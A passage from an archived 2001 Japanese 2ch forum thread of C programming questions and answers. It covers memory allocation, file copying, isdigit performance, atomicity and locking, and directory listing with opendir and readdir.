**f->b = (double *)malloc(sizeof(double)*I*J*K);

// ここに何かを追加する?...

for(i=0;i<I;i++){
f->b[i] = *f->b + i*J;
*f->b[i] = **f->b + i*J*K;
for(j=1;j<J;j++){
f->b[i][j] = *f->b[i] + j*K;
}
}

}

int main(){
int i, j, k;
int I = 3, J = 5, K = 7;
test3 F;

keep3(&F, I, J, K);

...

exit(0);

}

で、F.a[0][0][0]からF.a[I-1][J-1][K-1]まで、また
F.b[0][0][0]からF.b[I-1][J-1][K-1]までは
それぞれ連続したアドレスに入っているのですが、
F.a[I-1][J-1][K-1]のアドレスと
F.b[0][0][0]のアドレスを隣合わせにするには
関数 keep3 に何を追加したら良いのでしょうか?
>>139
つーか、俺は?w
142デフォルトの名無しさん:01/09/07 20:06
>> 125
ブランクだの符号対応まで必要になったら、私は lex 使ってトークンにバラしま
すね。

ブランクを飛ばすかどうかは、個々のトークンの種別を判定する isdigitstr()
のレベルではなく、その上位の構文解析のレベルで制御したほうが都合がいいこと
が多いですから。(処理するテキストの文法にもよるけど)
143デフォルトの名無しさん:01/09/07 20:12
>>142
lexはイヤソ
BSDLになっちゃうじゃない
144名無しでGO!:01/09/07 20:38
>>140
七徳ナイフのようなコードを考えてる時点で失格です。
世間にアナタのコードをばら撒かないようにしてください。
>>143
GPL ならともかく BSDL を避けるってのは、珍しい気がするが。
>>131
getsとか一部を除いてたとえマクロ実装でも1回しか
評価されないことが保証されてなかったっけ?
getsじゃなかったgetc
>>145
テキスト添付メンドイし
149おしえてくん:01/09/07 21:29
以下のファイルコピーをおこなうと
出力されたファイルのサイズが元のファイルの4倍くらいに
膨れ上がってしまいます。どこに問題があるか自分では
よくわからないので、教えてください。
また、「これが定石じゃ!」みたいな高水準入出力での
ファイルコピーの方法も教えていただけますと、光栄です。

int buf[MAX];
long fs;
FILE *ifp, *ofp;

ifp = fopen(argv[1], "rb");
fseek(ifp, 0, SEEK_END);
fs = ftell(ifp);
rewind(ifp);
fread(buf, sizeof(int), fs, ifp);
fclose(ifp);

ofp = fopen("cl", "wb");
fwrite(buf, sizeof(int), fs, ofp);
fclose(ofp);
>>149
わざとorネタやめれ。
151sage:01/09/07 21:38
>>140
コードの内容は読んでないけど、
ただ単に (sizeof(int) + sizeof(double))* I * J * K分のメモリを確保して
適切に計算したアドレスを、インデックスとなるポインタ配列にでも
格納すればよいのでは?

struct test3 {
int *a;
double *b;
int I, J, K;
};

void keep3(test3 *f, int I, int J, int K)
{
size_t sizei, sized;

sizei = sizeof(int) * I * J * K;
sized = sizeof(double) * I * J * K;
f->a = (int *)malloc(sizei + sized);
f->b = (double *)(f->a + I * J * K);
f->I = I;
f->J = J;
f->K = K;
}

int geta(test3 *f, int i, int j, int k)
{
return f->a[f->J * f->K * i + f->K * j + k];
}
double getb(test3 *f, int i, int j, int k)
{
return f->b[f->J * f->K * i + f->K * j + k];
}

int seta(test3 *f, int i, int j, int k, int val)
{
return f->a[f->J * f->K * i + f->K * j + k] = val;
}
double setb(test3 *f, int i, int j, int k, double val)
{
return f->b[f->J * f->K * i + f->K * j + k] = val;
}

意図がよくわからんのでこれ以上は放置。
FILE* In,Out;
int ch = 0;

In = fopen( "xxx","rb" );
Out = fopen( "yyy","wb" );

while( ( ch = fgetc( In ) ) != EOF )
  fputc( ch,Out );

fclose(In);
fclose(Out);
153デフォルトの名無しさん:01/09/07 21:52
int isdigitstr( const char * s)
{ char c;
 while( c=*s++ ) {
  unsigned char d=c -'0';
  if(d>=10) return 0;
 };
 return 1;
}
>149
CopyFile
>>153
それってやっちゃいけないんじゃなかったっけ?
>>127
isdigitがstrspnより低速なことはまず無い。
ほぼ100%の処理系でマクロ展開される。関数展開する処理系があれば
開発者は馬鹿という以外にない。つーか、あんたlibc読めば分かるだろ。
ま、知ったかぶりもたいがいにな。恥の上塗りもいいところだ。
>>156
そんなの誰でも知ってるよ。
>>127はあほあほプログラマ(?)だったんでしょ。

つか、もういいよ。

質問してきた人も
>while( *s )
> if(! isdigit( *(s++) ) )
>  return 0;
でいいっていってたし。

粘着は嫌われるよ。
>>157
レベルが低いだの言う人間が、どのくらい高いレベルのコードを
書いてくるかと思ったら、期待はずれだったからさ。
クロックを犠牲にして汎用性を取るなら ISO 表現まで読み取る
strtod で認識不能文字を調べればいいし。

まあいいや。粘着はやめることにするよ。
> isdigitがstrspnより低速なことはまず無い。
> ほぼ100%の処理系でマクロ展開される。
マルチバイト文字/ワイド文字対応が入ってる場合には、必ずしもマクロ展開され
るとは限りません。たとえば VC++ 6.0 (日本語版) で isdigit() を含むコード
をコンパイルすると _isctype() という関数呼び出しが入ります。

でもまぁ strspn() よりは速いと思いますけど。
>>159
マルチバイト文字は対応が難しいですよね。
でもisdigitで漢字数字等がtrueになってもあまり用途が無いような気がします。
海外のプログラムをそのまま移植したら逆に誤動作するかも。
ASCII用のisdigitとマルチバイト用のを分けて作ったほうがほうが
良かったんじゃないかなぁ。>MS

>>156
159さんの例もありますので、語気は低いほうが良いですよ。
気持ちはわかりますが。
レベル低い話題ばっかりだね
>>161
じゃ、ここらで一発レベルの高い話題をお願いします。

……それとも オマエモナー って言ってほしかった?
他に話題ないなら粘着しとこ。
>>120 の後半が一見して効率悪いと思えるのは、strspn と strlen で
同じ文字列を少なくとも二回トラバースするとこじゃないかな。
>>163
そのくらいなら
p && *p && p[ strspn(p,"0123456789") ] == '\0'
とでもしときゃ何とでもなるけど、やっぱり本質的にstrspnは遅いっしょ。
165163:01/09/08 10:35
>>164
strspn 自体が遅いことにはモチロン同意だけど。それにしても

> p[ strspn(p,"0123456789") ] == '\0'

なるほど、これはちょっと目からウロコでした。
>>165
ポインタおべんきょしましょ。
strspn(p,"0123456789")[p] == '\0'
167163:01/09/08 20:15
>>166
これは特に面白くないですが。
168146:01/09/08 21:19
結局 #undef isdigit は必要なの? 不要なの?
169110:01/09/09 18:10
>>151
> sizei = sizeof(int) * I * J * K;
> sized = sizeof(double) * I * J * K;
> f->a = (int *)malloc(sizei + sized);
> f->b = (double *)(f->a + I * J * K);
が非常に参考になりました.
お陰様で,目的のスクリプツを作る事ができました.
どうもありがとうございました.
170デフォルトの名無しさん:01/09/10 01:43
急スレが上がっているのでage
171嵐王:01/09/10 19:26
age
172デフォルトの名無しさん:01/09/11 00:49
CでOOPする方法を教えてください。
COMを使いましょう。死ねます。
C++トランスレータ使いましょう。出力はCになります。
>>172
好きなOOP言語を作れば。
> 出力されたファイルのサイズが元のファイルの4倍くらいに
> 膨れ上がってしまいます。
君の環境では int = 4byte だからです。
int = 2byteの環境では元のファイルの2倍くらいに膨れ上がるでしょう。

> また、「これが定石じゃ!」
int c;
while((c = fgetc(ifp)) != EOF)
  fputc(c, ofp)

>>149の方法だとbufよりも大きいサイズのコピーが出来ない
176デフォルトの名無しさん:01/09/12 11:54
構造体の配列を動的に割り当てるにはどうしたらいいですか?

struct point{
float x
float y;
};

struct point *p;

p = (struct point *)malloc(256 * sizeof(struct point));

こんな感じでいいんでしょうか?
177デフォルトの名無しさん:01/09/12 11:56
>>176
おーけー。
178デフォルトの名無しさん:01/09/12 21:21
>>176
Cだったら、malloc()の戻り値をキャストする必要はないね。
C++だったら必要だけど。(ふつうnewするか)
<UNIX-C Solaris8>
メモリ上のテーブルに複数の同スレッドが参照・更新を行っています。
現状、参照・更新共にメモリテーブルにmutexロックを掛けていますが
このテーブル、更新頻度が低くて、参照の際までにロックを掛けていることが
ボトルネックになって参照処理が遅いように思われています。

で、解決策として、参照の際はロックしないで、更新時だけロックする
読み手/書き手ロック関数(rw_系)を使えばいいのではないかと思うんですが

このロックに変えることで弊害とか考えられますか?
カーネルへの負担とかはどちらが重いんでしょうか?
180デフォルトの名無しさん:01/09/12 21:37
putcharとかputsってなんのためにあるんでしょう?
printfがあれば全て済みそうなんですが.
本によるとprintfはオーバーヘッドが大きいからputsやputcharで
済むならこっちを使いましょう,みたいになってるんですが,マイクロ
セカンド単位で変わっても大した問題じゃあないと思います.
でもやはり,printfを使う必要がなければputsとか使うべきですか?
フツーreadではlockしないだろ。writeで変なことしなければ問題ナシ。それがフツー。
ネックにならなきゃprintfでもwriteでも好きなの使えば。
ちゃんとprofile取ってから考えろよ。
183sage:01/09/12 21:53
つっこむべきか?>>181
>>183
つっこむべき
185sage:01/09/12 23:13
>>184
でもつっこみどころはCの話題じゃないしなあ。

もうちょい放置してみようぜ。
186デフォルトの名無しさん:01/09/13 01:36
旧スレが上がってるので age ね。ついでに突っ込みいれておこう。

>>184
read() でロックをかけないと、read() 実行中に write() されると、競合が発
生する。だから read() では共有ロックをかけ、write() では排他ロックをか
ける必要がある。

>>179
どこがボトルネックになっているのか、まずはプロファイラを使って計測しま
しょう。行き当たりばったりで最適かかけても、無駄な苦労に終わる可能性
がきわめて高いぞ。
>>183 >>185 >> 186
writeがatomicならロック必要ナシ。

テーブル
 const int n = 4;
 int table[n];


あるスレ(read)
 for (i = 0; i < n; i++) {
  printf("%d\n", table[i]);
 }

別のスレ(write)
 for (c = 0; ; c += n) {
  for (i = 0; i < n; i++) {
   table[i] = c + i;
  }
 }
>>187
readの結果が「0,1,6,15」とかでも構わないのなら、
ロックする必要はないけどな。
189デフォルトの名無しさん:01/09/13 14:47
int (*a)[N] は配列へのポインタ
int *a[N] はポインタの配列
ですよね?どう違うんでしょ?
>>189
「配列へのポインタ」と「ポインタの配列」の違いがわからないということは、
すなわち「ポインタと配列の違いがわからない」に等しい。
教科書読んで出直せ。

とりあえずそれぞれについてsizeof(a)を調べて見れ。
191ヨーコ・ゼッターランド:01/09/13 16:48
   ???????????????
 ???????????????????
???????????????????????
?????     ??  ? ?????????           Cは偉大なり
???? ??????  ????????????
??    ???      ??????????
??   ?????    ????? ?????
??                  ?????
 ?       ?? ???      ???
 ?     ??????????     ??
 ??   ????   ?????    ??
 ??  ????      ????  ???
  ?????????????????????
   ???????????????????
   ??????????????????
     ???????????????
192sage:01/09/13 18:43
>>187
限定的なケースだね。それ。

揚げ足をとるつもりじゃないが、
Cでいうところのintに対するアクセスがatomicであると証明できるひといる?

おれ、できないんだけど。馬鹿なのかな
x86系のまともなコンパイラなら、i++, i--はアトミック。 i += 即値もアトミック。
ただ、187の例はwriteがアトミックかどうかは関係ないような。
194ちこりーた。:01/09/13 19:16
C#はどうだろおヽ( ´ー`)ノ
195ちこりーた。:01/09/13 19:17
あースレまちがえたヽ( ´ー`)ノ
196sage:01/09/13 19:19
「今使ってる環境ではアトミック」だとわかっても
「これから使う環境でアトミック」かどうかはわからんよね。

いや、まあ、揚げ足取りっぽいからいいけどさ。
どっかに「intアクセスはアトミックだよ」っていう保証があればいいんだけどね。
197トシ@矢田亜希子&水野美紀:01/09/13 21:33
キーボードから順次入力された正の整数を、 0が入力されるまで、配列に順番に格納し、次に、ある1つの正の整数を与えると、それが何番目に入力された整数であるかを表示するプログラムを作成せよ。
例えば、次のような実行例となるようにせよ。


数字(1)を入力してください 43
数字(2)を入力してください 25
数字(3)を入力してください 7
数字(4)を入力してください 123
数字(5)を入力してください 0
見つけたい数字を入力してください 7
7は3番目に見つかりました
見つけたい数字を入力してください 55
55は見つかりませんでした
見つけたい数字を入力してください 0
それではプログラムを終了します

以上


やって下さいな。
>>196 つーか今でも8bit組み込み向けクロスコンパイラだとアトミックじゃないな
そんなCにはそもそも標準IOライブラリがあること自体が怪しいが
199sage:01/09/13 22:43
>>198
情報ありがトン

というわけで、後からよけいなメンテをしたくないひとは
同期はおろそかにしちゃいかんということでヨシ。
>>193
お約束だが、SMPって知ってる?
>>200
あの例の場合、SMPだろうがNUMAだろうが関係ナシ。
202デフォルトの名無しさん:01/09/13 23:53
>何で if や while と“()”の間をつめたがるんだろね?
最初に勉強した本の影響と思われ。

でもフォーマットのことを言い出すときりが無い。
宗教論争だ。

# その宗教論争のスレ、誰か立ててよ。
203デフォルトの名無しさん:01/09/14 00:06
超初心者でごめんなさい。
使用されていないメモリのアドレスを取得する命令ってありますよね?
無かったら非常に困っちゃいますが。
その命令を教えていただきたいのですが。

このままだと固定長の文字列しか扱えなくて・・・
204デフォルトの名無しさん:01/09/14 00:09
malloc
205デフォルトの名無しさん:01/09/14 00:17
calloc
206193:01/09/14 01:05
>>200
ん? (*ptr)++ ってx86でまともなコンパイラなら、
mov eax,ptr; inc [ebx]
とかするでしょ。CPUとバスが調停してくれるから、SMPでも大丈夫。
mov eax, [ebx]; add eax,1; mov [ebx],eax
とかだと、マルチスレッドでもまずいけど。
(だから、RISC系ではintへのアクセスは大抵アトミックではない)
これで合ってる?
207デフォルトの名無しさん:01/09/14 01:14
すばやいレスサンクスです。
なるほど、こういう命令があったんですね。
これ使えばリスト構造とかできるのかな?
っていうか、出来なきゃおかしいか・・・

mallocとcallocの違いがよくわかんないのですが。
callocはゼロに初期化してくれるってこととエラー処理ルーチンを呼び出す
ってことくらいしか違いが無いような

さらにreallocとかfreeってのみつけたんですけど、
reallocってのが配列のサイズを拡大して、
freeが一連の操作をしたメモリを開放するってことでよいのですか?
配列を縮小する命令が無いんですけど、
やっぱりcallocで作り直してメモリの中身をコピーして、
freeで削除?ってことでよろしいんですか?
reallocは縮小もできますが?
209207:01/09/14 01:29
あ、すんません、
reallocの第二引数を「相対的な」サイズだと思ってました。
第二引数にマイナスの値を入れたら恐ろしいことになっちゃって(泣
絶対的だったんですね、勘違い、勘違い。

どうもありがとうございます。
210デフォルトの名無しさん:01/09/14 01:42
C言語で円周率を使う時は
自分で3.14・・・を定義するものなのですか。

誰かが なんとかPI(ちがってるかも)
みたいのが初めから入っているって言ってたような気がするんですが。

知ってる人おしえてください.
211200:01/09/14 01:50
>>206
・・・ふーん、なるほどね。

「インテル・アーキテクチャ・ソフトウェア・ディベロッパーズ・
マニュアル」下巻より

7.1.1.保証付きアトミック操作
Intel386、Intel486、Pentium、P6ファミリの各プロセッサは、次の
基本的なメモリ操作が常にアトミックに実行されるよう保証する。
・1バイトの読み取りまたは書き込み。
・16ビット境界にアライメント合わせされた1ワードの読み取りまたは
書き込み。
・32ビット境界にアライメントが調整された1ダブルワードの読み取り
または書き込み。
-- 略 --

7.1.2.2.ソフトウェア制御されたバス・ロック
明示的にバスをロックするために、ソフトウェアは次に示すメモリ位置を
変更する命令に先だってLOCKプリフィックスを付加することができる。
-- 略 --
・ビット・テスト/変更命令(BTS、BTR、BTC)。
・交換命令(XADD、CMPXCHG、CMPXCHG8B)。
・XCHG命令には自動的にLOCKプリフィックスが付くものと想定されている。
・次の1オペランド算術演算/論理演算命令: INC、DEC、NOT、NEG。
・次の2オペランド算術演算/論理演算命令: ADD、ADC、SUB、SBB、AND、OR、XOR。
212デフォルトの名無しさん:01/09/14 02:16
>>206
そんな事いっても、ロックしないのはCのソースとして問題外。
環境に依存しまくったIntel方面の方言に過ぎない。
安全なアセンブラ命令に展開されるといっても、コンパイラ依存。

それに、元記事によるとSolarisだから、Sparc環境かもしれない。
213デフォルトの名無しさん:01/09/14 02:43
すいません、こういうことできないんですか?
void s(int d){
for(int z=0;z<10 || z<d;z++){

}
}
意図としては、Zが10より低いか、dより低い間実行せよというかんじなんですけど。コンパイラ通るんですが、駄目でした。
214デフォルトの名無しさん:01/09/14 02:49
>>213
実行時に d に負の数を渡してたりするかもな。
unsigned のデカイ数とかな。
215デフォルトの名無しさん:01/09/14 02:54
ところで

int main()
{
mem();
}

void mem()
{
char *ptr = (char *)malloc(64);

/* free(ptr); */
}

以上の場合、確保したメモリの有効範囲って
mem()内だけですか?
main()に戻ったとき自動的にfree(ptr)が実行されてますかね?
それともmain()がおわるまで確保されたメモリは開放されませんか?
C言語なんてやめちまえ
>>215
なんでそういう考えに至ったのか理解に苦しむところ
>>215
main()がおわるまで確保されたメモリは開放されない
C言語には目に見えて自動的にやってくれる処理はないと思ったほうがよい
219207:01/09/14 03:04
>>215
初心者的意見だと
char *ptr = (char *)malloc(64);
このchar型のポインタの有効範囲は関数の中だけなんじゃないですか?
んでもって、開放してないんだからめもりりぃ〜く!だと思いますが。

あくまでも初心者的意見のため、間違っている可能性大ですけどね。
厨房プログラマ板作ってくれ
つーか厨房はマ板へ逝って欲しい。
>>219
開放してないんだからめもりりぃ〜く! だ!!!!
だからCはプログラマが書いてないことは何もしないんだってぱ
いきなりレベルが下がってるなこのスレ(笑)
2241:01/09/14 04:06
>>223

それはすべて、1ことわたくしめの責任でアリマス!
225デフォルトの名無しさん:01/09/14 04:51
heap
>>221
プログラマ板は、プログラム技術を語る板じゃないぞ。厨房を押し付けないでくれ。
>226
厨房もカテゴリ的にはプログラマ板の方がふさわしい
>>212
readでロック不要という議論なんだが。
アトミックって何?(・∀・)
>>229
atom=原子:これ以上分けられない最小の単位
>>228
だから、x86限定で話してどうなるんだよ?
readでロック不要。これは、環境依存だ
232sage:01/09/14 20:48
でも組み込みとかに限らず、作りきりコードを書いてる人だと
移植性よりは、効率のよい実装のほうが重要なこともあるんだよね。

わかってて明示的にやるなら
環境依存は別に悪いことじゃないと思うよ。
>>231
どんな環境でatomicなwriteに対するreadにロックが必要なんだ?
234sage:01/09/14 22:03
>>233
atomicに書くだけでよいなら同期は必要ない。
読んでから書くまでatomicでないなら同期が必要だがなにか?
>>234
だから書く話はしてないんだってばさ。ちゃんと読めよ。
236sage:01/09/14 22:36
いーかげんつかれたけど、これもつっこむべき?>>235
237デフォルトの名無しさん:01/09/15 05:56
Linuxで、あるディレクトリのファイル一覧を得たいのですが標準関数ではできませんよね?
そこでsystem関数等なども交えて考えてみましたが私には解りませんでした。
もしよろしければヒントなどでも教えてください。よろしくお願いします。

引 数 directory 捜索するディレクトリ名
    file 結果格格納要変数
戻り値 ファイルの数
int getfile(char* directory, char** file)
として
int a;
char* file;
a = getfile("/home/hoge/",&file);
とすると
file[0],file[1],file[2]......file[a]
とファイル名が入っているというのはできますか?

よろしくお願いします。
238shige:01/09/15 06:01
#include <dirent.h>
DIR, struct dirent, opendir, readdir, closedir
こんな物があったのですか!ありがとうございました。
240shige:01/09/15 06:20
Ruby
241C始めて:01/09/15 06:56
UNIX(solaris)でファイルコピー中(aプロセス)のファイルを読み込んだ時(aプロセス)に、
どうなるんでしょうか?コピー中の際はオープン出来ないように(c言語)
出来るんですか?
排他制御の事かな?

tp://www.itboost.co.jp/c/c_07.php

ほい、書くの面倒だから。
>>242
なんだかやたらレベルが低いな…
244デフォルトの名無しさん:01/09/15 16:06
ぬぁにぃぃ!!漏れのレベルが低いだと?!
検索して一番上の奴を紹介してやったんじゃないか!!
そもそも241の日本語がわからん!
ハカーの漏れに謝れ。さぁハカーの漏れに謝れ
>>236
いや、もう良いでしょ。

分かるヤツにはこれまでの議論で十分だし、ここまで読んでまだ理解できない
相手には、何を言っても無駄。
246570:01/09/16 00:04
===============================================
C++Builder コマンドラインツール
リリースノート
===============================================
コマンドラインツールのインストールと実行
-----------------------------------------------

1. freecommandlinetools.exe を実行します。無料の C++Builder 5
コマンドラインツール開発システムをインストールしたいドライブと
フォルダを選択します。

2. インストール先の bin ディレクトリで次の手順を実行します。
a. 既存のパスに "c:\Borland\Bcc55\bin" を追加します。
b. bcc32.cfg ファイルを作成します。このファイルは,Include
および Lib パスのコンパイラオプション(コンパイラの -I
および -L スイッチ)を設定するものです。ファイルには次の
行を含めてください。
-I"c:\Borland\Bcc55\include"
-L"c:\Borland\Bcc55\lib"
c. ilink32.cfg ファイルを作成します。このファイルは,Lib
パスのリンカオプションを設定するものです。ファイルには
次の行を含めてください。
-L"c:\Borland\Bcc55\lib"

これの2b・cのやりかたがわかりません。
これじゃあ勉強すらできない・・・・・
>>246
難しく考えるな。含めろといわれている行をコピペして、
それぞれ指定されたファイル名で保存するだけ。
(もし c:\Borland 以外の場所にインストールしたのなら、
適宜内容を書き換える必要はあるが)
248デフォルトの名無しさん:01/09/16 01:32
>>246
vectorかどっかに自動って設定やってくれるのなかったか。
249246:01/09/16 01:33
×自動って → ○自動で
sageてなくてすまん。
250248:01/09/16 01:35
↑248だった・・・なんか一人で自滅しとる。欝
まともなコンパイラならincに展開されるとか言ってる奴は
VC++でアセンブラリスト見たことあるのか?
VC++はまともなコンパイラじゃないとか言われそうだけど(藁
>>251
もしかして、最適化なしの結果を見てたりしてないだろうな?
>>252
ちゃんと最適化してるって。
だから見てるの?
254デフォルトの名無しさん:01/09/16 05:13
>246

金をかけずにプログラミングを勉強したいなら、まず"MS−DOS"の使い方を覚えろ。
>>254
どうせならlinuxとか薦めとけよ
// VC6.0Pro Release

void inc(void)
{
volatile int *pt;
(*pt)++;
}

; Line 3
mov eax, DWORD PTR _pt$[esp-4]
mov ecx, DWORD PTR [eax]
inc ecx
mov DWORD PTR [eax], ecx
void inc(void)
{
int *pt;
(*pt)++;
}

; Line 3
mov eax, DWORD PTR _pt$[esp+4]
inc DWORD PTR [eax]
258570:01/09/16 06:20
Debian徹底入門買ったんでノートに入れようと思ってます。
動作するかはわかりませんが・・・・
柴田望洋明解C言語入門編やってます。
わかりやすくてどんどんすすみそう。
ただP21の複数の変換指定をコンパイルして実行すると、
実行したファイルがKERNEL32エラーを引き起こして
このぺ−じだけ実行不能になってしまいます。
他のプログラムは今のところエラーでないのに・・・・
void inc(void)
{
int *pt;
(*pt)++;
(*pt)++;
}

; Line 5
mov eax, DWORD PTR _pt$[esp+4]
add DWORD PTR [eax], 2

そもそも、たまたまincに展開されたところで
incはSMP safeじゃないんだが。
260デフォルトの名無しさん:01/09/16 13:22
とりあえず、193が作ったプログラムを使わせられるような悲劇が起こりませんように...
>>259
もともとの話とは全然違うんだが、まぁこれはこれで君は正しいよ。

>>260
そうか?使うだけなら漏れは構わんが。引き継ぎさせられるような
場合は、1から書き直せる時間がなければ承諾せんけどな。
262デフォルトの名無しさん:01/09/17 09:11
C言語による最新プログラム辞典
平林雅英著 技術評論者

のソースコードをダウンロードできるサイトはないですか?
フロッピーがついてるのですがPC-98ようなので読めません。
>>262
既に“最新”ではないと思われ。
264デフォルトの名無しさん:01/09/18 17:27
あるディレクトリ以下に存在するファイル一覧を全て表示する関数を創りたいのです。
覚えたての再帰を使えば楽勝さ!と思えど実際に作っているうちにすぐにつまづきました。
手がつけられなくなりました。。。

どなたかこのような関数の雛型を持っていたらご教授ください。お願いします。
265プププ:01/09/18 17:37
>>264
OSくらい書け。

MS-DOS/Windows系
 systemm("dir");

UNIX系
 system("ls -l")
267264:01/09/18 18:07
>>266
レスありがとうございます。しかしそれでは困るのです。。。。
あるディレクトリ以下に存在するファイル一覧というのは
/home/というディレクトリの中にhoge/とuser/というディレクトリがあればその
ディレクトリにあるファイルも順次表示し、そのディレクトリにさらにディレクトリがあれば・・・・
と全て表示したいのです。言葉足らずですいません。
opendirやstat関数を駆使して創る事になると思うのですが・・・・

OSはLinuxとMS-DOS(CYGWIN)なのでUNIX系という事になりましょうか。

よろしくお願いします。
>>265
かなりイタいページだね。

それにしてもこの著者まだC言語が関数型言語だと思ってるのだろうか。
それとももう間違いを悟ったかな?
>>267
man ftw
>>266
再帰的にだと

MS-DOS/Windows系
  dir /s

UNIX 系
  ls -R

だと思うが。
>>267
全然エラーチェックしていないが、こんな感じ
カレントと親ディレクトリは無視するのがポイント

void foo(const char *dn)
{
  DIR *dp;
  struct dirent *dir;
  struct stat fs;
 
  dp = opendir(dn);
  while ((dir = readdir(dp)) != NULL) {
    stat(dir->d_name, &fs);
    if (S_ISDIR(fs.st_mode))
      if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
        foo(dir->d_name);
  }
  closedir(dp);
}
272デフォルトの名無しさん:01/09/18 20:26
大きなデータを扱うとき
char str[10000][1000];
みたいに普通に宣言していいんですか。
>>272
環境依存
>>272
かまわない
ただし、俺愛用のコンパイラLSI-Cの場合、デフォルトスタックサイズが
2500バイトなんでスタックサイズを増やさないといけないけどな。

あと、固定で確保する方法ではなく、必要な大きさだけ確保する手もある
malloc(), free()あたりを検索してみてくれ。
275デフォルトの名無しさん:01/09/18 21:57
>>271
>if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))

...
276デフォルトの名無しさん:01/09/18 22:08
>>271
dir->d_name って、パスが含まれていないんじゃないかな。
277デフォルトの名無しさん:01/09/19 03:24
memcmpとstrncmpってどう違うんでしょうか
278デフォルトの名無しさん:01/09/19 03:29
>>274
LSI-Cって、かの有名な石器時代のコンパイラ?
279デフォルトの名無しさん:01/09/19 03:32
>>277
nul文字で終了しない。

>>271
バグ持ちだね
280デフォルトの名無しさん:01/09/19 03:33
>278
まだ現役ですよ〜
DOS時代からの人はこれの存在大きかったよね?
281デフォルトの名無しさん:01/09/19 03:35
>>279
>nul文字で終了しない。
memcmpでもどっちかの文字が0になった(差違が出た)
時点で終るのでは?
282デフォルトの名無しさん:01/09/19 03:39
>>279
両方同じ文字列だった場合、それよりも長い長さを比較したら、
memcmpの方は領域外の比較もしちゃうから異なるって事かな?
普通の使い方じゃないけど
(普通、比較前に両方のmaxを取るでしょ?)
>>280
中学の入学祝がBCC4.5だった
284264:01/09/19 07:19
>>271
ありがとうございました。
教えてもらったソースを雛型にプログラムを創りたいと思います。
285デフォルトの名無しさん:01/09/19 10:20
lsのソースコードみれ
286デフォルトの名無しさん:01/09/19 12:26
>>280
俺もまだ現役。LFN もちゃんと扱えるからな。
>>277
3つ目の引数に何を渡すかにより動作が異なる

strncmp(a,b, strlen(a)); memcmp(a, b, strlen(a));
の場合、strncmpとmemcmpの動作に違いはないが、

strncmp(a,b, sizeof a); memcmp(a, b, sizeof a));
の場合、strncmpとmemcmpの動作が違うことがある。
>>287
後者だとコンパイル不可かな(w
で、a の型は?
>>288
> で、a の型は?
char a[] = "\x00hoge";
char b[] = "\x00hage";
とかだと後者のコンパイルも可能だし、strcmp, memcmpの動作も変わるけど?
>>289
コンパイル不可というのは、閉じ括弧が一つ多いことに
ついて揚げ足を取ってみただけ、じゃなかろうか。
291公房ドキュソ:01/09/19 21:26
授業日数(210日)、出席、欠席を入力し出席率を求める式をきぼんぬ。
またはプログラムきぼんぬ。C言語できぼんぬ。
>>291
スレ違い。
ここは他人にプログラムを書いてもらうスレではない。

麻衣たんに頼め。
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=982853418&ls=50
>>291 syussekiritu = syussekinissuu / jugyounissuu;
見積もり依頼じゃないのかな
DBは何がいい?
295デフォルトの名無しさん:01/09/20 00:12
半日調べたのですが、わからなかったので教えてください。

プロセスの中で、その実行可能ファイルのファイル名を
取得したいのです。
mainで、argv[0]の内容を広域変数に入れて参照する、
という方法があるのはわかったのですが、
広域変数を使わずに、関数で取得するような方法って
ないのでしょうか?
ヒントでもよいので、よろしくお願いします。
>>295
プラットホームを書いた方が良いと思うぞ。
C 言語一般の話で言えば、ありません。
297デフォルトの名無しさん:01/09/20 00:53
unixならpsのソース見てみたら?
俺はへたれなので偉い人きぼん
298デフォルトの名無しさん:01/09/20 01:36
ここ、かなり笑えます。
http://www.j-gunboy.com/prog/c/ctop.html
299デフォルトの名無しさん:01/09/20 09:09
psのソースやらlsのソースはどこで手に入れられるのですか?
いつも探してみるのですが見つかりません。

よろしければサイトを教えてください。
環境書いてないけど、きっと君はFreeBSDをフルインストールしてるんだろう。
/usr/src/ 以下を見ろ。すべての標準コマンドのソースが入ってる。
灯台下暗しってやつだな。
301デフォルトの名無しさん:01/09/20 10:01
for(;;)

while(1)

どっちが望ましいとか あるのかな
302デフォルトの名無しさん:01/09/20 10:12
>>295
Win32 なら GetModuleFileName() で第一引数に NULL

4.4BSD 系列だと、スタートアップルーチンで _progname に設定してるから、
自分のソースに

extern char *_progname;

とでも書いておいて _progname でアクセス。他の環境でも kvm や procfs を
介して取得できる可能性は高いけど、汎用的な方法はないと思う。
303デフォルトの名無しさん:01/09/20 10:45
>>300
/usr/src/以下は

.
..
pgsql/ ←最近自分でアップグレードしたばっかり

です。ちなみに環境はTurboLinuxServer6.1です。
でもお陰で標準的にはソースが/usr/src/に残されているという事を知りました。
ありがとうございました。
304デフォルトの名無しさん:01/09/20 10:49
今考えたら
.
..
は/usr/local/src/でした。
今は確認できる環境にいないので
後で/usr/src/を確認しておきたいと思います。
305デフォルトの名無しさん:01/09/20 17:30
#include <stdio.h>

int
main(void)
{
  int c;

  printf("Hello world!\n");
  while (1) {
    if ((c = getchar()) == 'a') {
      break;
    }
    printf("c = %c\n", c);
  }
  printf("exit\n");

  return EXIT_SUCCESS;
}

こういうプログラムを作りました。キーボードから a を入力したら
exit と表示して終了して欲しいプログラムです。これをコンパイル
して実行してみたところ、

b
c = b
c =

c
c = c
c =

のように、なぜか getchar() を入力する前に printf が実行される
ように見えます。これを

b
c = b
c
c = c

のような出力を得るようにするにはどうすればよいでしょうか。
こちらの環境は、FreeBSD 4.3-RELEASE で gcc 2.95.3 です。
>>304
タボリヌだと /usr/src/ には linux とか redhat くらいしかないかも。
赤帽系 Linux はプログラマのための UNIX じゃないから、コマンド類の
ソースは標準インストールではついてこないんじゃないかな。
307デフォルトの名無しさん:01/09/20 18:54
>>306
なるほどなるほど、プログラマのためのUNIXじゃないというのは納得です。
ではプログラマの為のLINUXでお勧めはどのディストリビューションはなんですか?
お願いします。
>>305
改行文字を読み込んで、それをそのまま出力しているせいなので、
  if (c == '\n') continue;
を printf の前に加えればいい。
>>307
ソースコードを一式そろえたいなら Linux よりも FreeBSD, NetBSD, OpenBSD の
方が楽。
310名無しさん@XEmacs:01/09/21 01:40
argv[0]は必ずしも実行ファイルの正しいファイル名とは限らない。
たとえばログインシェルのargv[0]は-shとかになっている。
procfsが有効になってるLinuxなら

char exename[MAXPATHLEN];
int n = readlink("/proc/self/exe", exename, sizeof exename);
if (n < 0) goto error;
exename[n] = 0;
printf("path=%s\n", exename);
311デフォルトの名無しさん:01/09/21 10:54
>>309
ftpで普段は探る事もないFreeBSDのフォルダを探ったら
